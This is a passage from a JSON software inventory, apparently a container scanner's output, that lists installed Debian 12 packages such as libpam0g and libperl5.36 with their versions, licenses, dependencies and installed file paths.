"/usr/share/locale/es/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/et/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/eu/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/fa/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/fi/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/fr/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ga/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/gl/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/gu/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/he/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/hi/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/hr/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/hu/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ia/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/id/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/is/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/it/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ja/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ka/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/kk/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/km/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/kn/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ko/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/kw_GB/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ky/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/lt/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/lv/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/mk/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ml/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/mn/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/mr/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ms/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/my/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/nb/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ne/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/nl/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/nn/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/or/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/pa/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/pl/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/pt/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ro/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ru/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/si/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/sk/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/sl/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/sq/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/sr/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/sr@latin/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/sv/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ta/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/te/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/tg/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/th/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/tr/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/uk/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/ur/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/vi/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/yo/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/zh_HK/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/Linux-PAM.mo", "/usr/share/locale/zu/LC_MESSAGES/Linux-PAM.mo", "/usr/share/man/man5/pam.conf.5.gz", "/usr/share/man/man7/PAM.7.gz", "/usr/share/man/man8/pam-auth-update.8.gz", "/usr/share/man/man8/pam_getenv.8.gz", "/usr/share/pam-configs/unix", "/usr/share/pam/common-account", "/usr/share/pam/common-account.md5sums", "/usr/share/pam/common-auth", "/usr/share/pam/common-auth.md5sums", "/usr/share/pam/common-password", "/usr/share/pam/common-password.md5sums", "/usr/share/pam/common-session", "/usr/share/pam/common-session-noninteractive", "/usr/share/pam/common-session-noninteractive.md5sums", "/usr/share/pam/common-session.md5sums" ], "AnalyzedBy": "dpkg" }, { "ID": "libpam0g@1.5.2-6+deb12u2", "Name": "libpam0g", "Identifier": { "PURL": "pkg:deb/debian/libpam0g@1.5.2-6%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "3ba03735bb5182b9" }, "Version": "1.5.2", "Release": "6+deb12u2", "Arch": "amd64", "SrcName": "pam", "SrcVersion": "1.5.2", "SrcRelease": "6+deb12u2", "Licenses": [ "BSD-3-Clause", "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-only", "GPL-3+ with Bison exception", "BSD-tcp_wrappers", "LGPL-2.0-or-later", "LGPL-2.0-only", "public-domain", "Beerware" ], "Maintainer": "Sam Hartman \u003chartmans@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "debconf@1.5.82", "libaudit1@1:3.0.9-1", "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/lib/x86_64-linux-gnu/libpam.so.0.85.1", "/lib/x86_64-linux-gnu/libpam_misc.so.0.82.1", "/lib/x86_64-linux-gnu/libpamc.so.0.82.1", "/usr/share/doc/libpam0g/Debian-PAM-MiniPolicy.gz", "/usr/share/doc/libpam0g/NEWS.Debian.gz", "/usr/share/doc/libpam0g/README", "/usr/share/doc/libpam0g/README.Debian", "/usr/share/doc/libpam0g/TODO.Debian", "/usr/share/doc/libpam0g/changelog.Debian.gz", "/usr/share/doc/libpam0g/changelog.gz", "/usr/share/doc/libpam0g/copyright", "/usr/share/lintian/overrides/libpam0g" ], "AnalyzedBy": "dpkg" }, { "ID": "libpango-1.0-0@1.50.12+ds-1", "Name": "libpango-1.0-0", "Identifier": { "PURL": "pkg:deb/debian/libpango-1.0-0@1.50.12%2Bds-1?arch=amd64\u0026distro=debian-12.13", "UID": "d0379c91c83329b2" }, "Version": "1.50.12+ds", "Release": "1", "Arch": "amd64", "SrcName": "pango1.0", "SrcVersion": "1.50.12+ds", "SrcRelease": "1", "Licenses": [ "LGPL-2.0-or-later", "LGPL-2.1-or-later", "Example", "TCL", "Unicode", "ICU", "Chromium-BSD-style", "Apache-2.0", "Bitstream-Vera", "OFL-1.1", "CC0-1.0", "GPL-2.0-or-later", "GPL-2.0-only", "LGPL-2.0-only", "LGPL-2.1-only" ], "Maintainer": "Debian GNOME Maintainers \u003cpkg-gnome-maintainers@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "fontconfig@2.14.1-4", "libc6@2.36-9+deb12u13", "libfribidi0@1.0.8-2.1", "libglib2.0-0@2.74.6-2+deb12u8", "libharfbuzz0b@6.0.0+dfsg-3", "libthai0@0.1.29-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libpango-1.0.so.0.5000.12", "/usr/share/doc/libpango-1.0-0/NEWS.gz", "/usr/share/doc/libpango-1.0-0/README.md", "/usr/share/doc/libpango-1.0-0/THANKS", "/usr/share/doc/libpango-1.0-0/changelog.Debian.gz", "/usr/share/doc/libpango-1.0-0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libpciaccess0@0.17-2", "Name": "libpciaccess0", "Identifier": { "PURL": "pkg:deb/debian/libpciaccess0@0.17-2?arch=amd64\u0026distro=debian-12.13", "UID": "6ca496c7390172e3" }, "Version": "0.17", "Release": "2", "Arch": "amd64", "SrcName": "libpciaccess", "SrcVersion": "0.17", "SrcRelease": "2", "Licenses": [ "GPL-2.0-or-later" ], "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libpciaccess.so.0.11.1", "/usr/share/doc/libpciaccess0/changelog.Debian.gz", "/usr/share/doc/libpciaccess0/changelog.gz", "/usr/share/doc/libpciaccess0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libpcre2-8-0@10.42-1", "Name": "libpcre2-8-0", "Identifier": { "PURL": "pkg:deb/debian/libpcre2-8-0@10.42-1?arch=amd64\u0026distro=debian-12.13", "UID": "e1e889519893a026" }, "Version": "10.42", "Release": "1", "Arch": "amd64", "SrcName": "pcre2", "SrcVersion": "10.42", "SrcRelease": "1", "Licenses": [ "BSD-3-clause-Cambridge with BINARY LIBRARY-LIKE PACKAGES exception", "BSD-3-Clause", "X11", "BSD-2-Clause", "public-domain" ], "Maintainer": "Matthew Vernon \u003cmatthew@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.11.2", "/usr/share/doc/libpcre2-8-0/README.Debian", "/usr/share/doc/libpcre2-8-0/changelog.Debian.gz", "/usr/share/doc/libpcre2-8-0/changelog.gz", "/usr/share/doc/libpcre2-8-0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libperl5.36@5.36.0-7+deb12u3", "Name": "libperl5.36", "Identifier": { "PURL": "pkg:deb/debian/libperl5.36@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "ced7b51bcfa10f41" }, "Version": "5.36.0", "Release": "7+deb12u3", "Arch": "amd64", "SrcName": "perl", "SrcVersion": "5.36.0", "SrcRelease": "7+deb12u3", "Licenses": [ "GPL-1.0-or-later", "Artistic-2.0", "MIT", "REGCOMP", "GPL-2.0-with-bison-exception+", "Unicode", "BZIP", "Zlib", "GPL-2.0-or-later", "RRA-KEEP-THIS-NOTICE", "BSD-3-clause-with-weird-numbering", "CC0-1.0", "TEXT-TABS", "BSD-4-clause-POWERDOG", "BSD-3-clause-GENERIC", "BSD-3-Clause", "SDBM-PUBLIC-DOMAIN", "DONT-CHANGE-THE-GPL", "Artistic-dist", "LGPL-2.1-only", "GPL-1.0-only", "GPL-2.0-only", "Artistic-2", "HSIEH-DERIVATIVE", "HSIEH-BSD" ], "Maintainer": "Niko Tyni \u003cntyni@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libbz2-1.0@1.0.8-5+b1", "libc6@2.36-9+deb12u13", "libcrypt1@1:4.4.33-2", "libdb5.3@5.3.28+dfsg2-1", "libgdbm-compat4@1.23-3", "libgdbm6@1.23-3", "perl-modules-5.36@5.36.0-7+deb12u3", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/bin/cpan5.36-x86_64-linux-gnu", "/usr/bin/perl5.36-x86_64-linux-gnu", "/usr/lib/x86_64-linux-gnu/libperl.so.5.36.0", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/B.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/B/Concise.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/B/Showlex.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/B/Terse.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/B/Xref.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/EXTERN.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/INTERN.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/XSUB.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/av.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/bitcount.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/charclass_invlists.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/config.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/cop.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/cv.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/dosish.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/ebcdic_tables.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/embed.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/embedvar.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/fakesdio.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/feature.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/form.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/git_version.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/gv.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/handy.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/hv.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/hv_func.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/hv_macro.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/inline.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/intrpvar.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/invlist_inline.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/iperlsys.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/keywords.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/l1_char_class_tab.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/malloc_ctl.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/metaconfig.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/mg.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/mg_data.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/mg_raw.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/mg_vtable.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/mydtrace.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/nostdio.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/op.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/op_reg_common.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/opcode.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/opnames.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/overload.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/pad.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/parser.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/patchlevel-debian.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/patchlevel.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/perl.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/perl_inc_macro.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/perl_langinfo.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/perl_siphash.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/perlapi.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/perlio.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/perliol.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/perlsdio.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/perlvars.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/perly.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/pp.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/pp_proto.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/proto.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/reentr.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/regcharclass.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/regcomp.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/regexp.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/regnodes.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/sbox32_hash.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/scope.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/sv.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/sv_inline.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/thread.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/time64.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/time64_config.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/uconfig.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/uni_keywords.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/unicode_constants.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/unixish.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/utf8.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/utfebcdic.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/util.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/uudmap.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/vutil.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/warnings.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/CORE/zaphod32_hash.h", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Compress/Raw/Bzip2.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Compress/Raw/Zlib.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Config.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Config.pod", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Config_git.pl", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Config_heavy.pl", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Cwd.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/DB_File.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Data/Dumper.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Devel/PPPort.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Devel/Peek.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Digest/MD5.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Digest/SHA.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/DynaLoader.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Encode.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Encode/Alias.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Encode/Byte.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Encode/CJKConstants.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Encode/CN.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Encode/CN/HZ.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Encode/Config.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Encode/EBCDIC.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Encode/Encoder.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Encode/Encoding.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Encode/GSM0338.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Encode/Guess.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Encode/JP.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Encode/JP/H2Z.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Encode/JP/JIS7.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Encode/KR.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Encode/KR/2022_KR.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Encode/MIME/Header.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Encode/MIME/Header/ISO_2022_JP.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Encode/MIME/Name.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Encode/Symbol.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Encode/TW.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Encode/Unicode.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Encode/Unicode/UTF7.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Errno.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Fcntl.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/File/DosGlob.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/File/Glob.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/File/Spec.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/File/Spec/AmigaOS.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/File/Spec/Cygwin.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/File/Spec/Epoc.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/File/Spec/Functions.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/File/Spec/Mac.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/File/Spec/OS2.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/File/Spec/Unix.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/File/Spec/VMS.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/File/Spec/Win32.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Filter/Util/Call.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/GDBM_File.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Hash/Util.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Hash/Util/FieldHash.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/I18N/Langinfo.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/IO.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/IO/Dir.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/IO/File.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/IO/Handle.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/IO/Pipe.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/IO/Poll.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/IO/Seekable.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/IO/Select.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/IO/Socket.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/IO/Socket/INET.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/IO/Socket/UNIX.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/IPC/Msg.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/IPC/Semaphore.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/IPC/SharedMem.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/IPC/SysV.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/List/Util.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/List/Util/XS.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/MIME/Base64.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/MIME/QuotedPrint.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Math/BigInt/FastCalc.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/NDBM_File.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/O.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/ODBM_File.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Opcode.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/POSIX.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/POSIX.pod", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/PerlIO/encoding.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/PerlIO/mmap.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/PerlIO/scalar.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/PerlIO/via.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/SDBM_File.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Scalar/Util.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Socket.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Storable.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Sub/Util.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Sys/Hostname.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Sys/Syslog.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Time/HiRes.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Time/Piece.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Time/Seconds.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Unicode/Collate.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Unicode/Collate/Locale.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/Unicode/Normalize.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/_h2ph_pre.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/asm-generic/bitsperlong.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/asm-generic/ioctl.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/asm-generic/ioctls.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/asm-generic/posix_types.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/asm-generic/socket.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/asm-generic/sockios.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/asm-generic/termbits-common.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/asm-generic/termbits.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/asm-generic/termios.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/asm/bitsperlong.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/asm/ioctl.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/asm/ioctls.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/asm/posix_types.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/asm/posix_types_32.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/asm/posix_types_64.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/asm/posix_types_x32.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/asm/socket.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/asm/sockios.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/asm/termbits.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/asm/termios.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/asm/unistd.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/asm/unistd_32.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/asm/unistd_64.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/asm/unistd_x32.ph", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/attributes.pm", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/B/B.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Compress/Raw/Bzip2/Bzip2.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Compress/Raw/Zlib/Zlib.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Cwd/Cwd.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/DB_File/DB_File.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Data/Dumper/Dumper.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Devel/Peek/Peek.so", "/usr/lib/x86_64-linux-gnu/perl/5.36.0/auto/Digest/MD5/MD5.so", 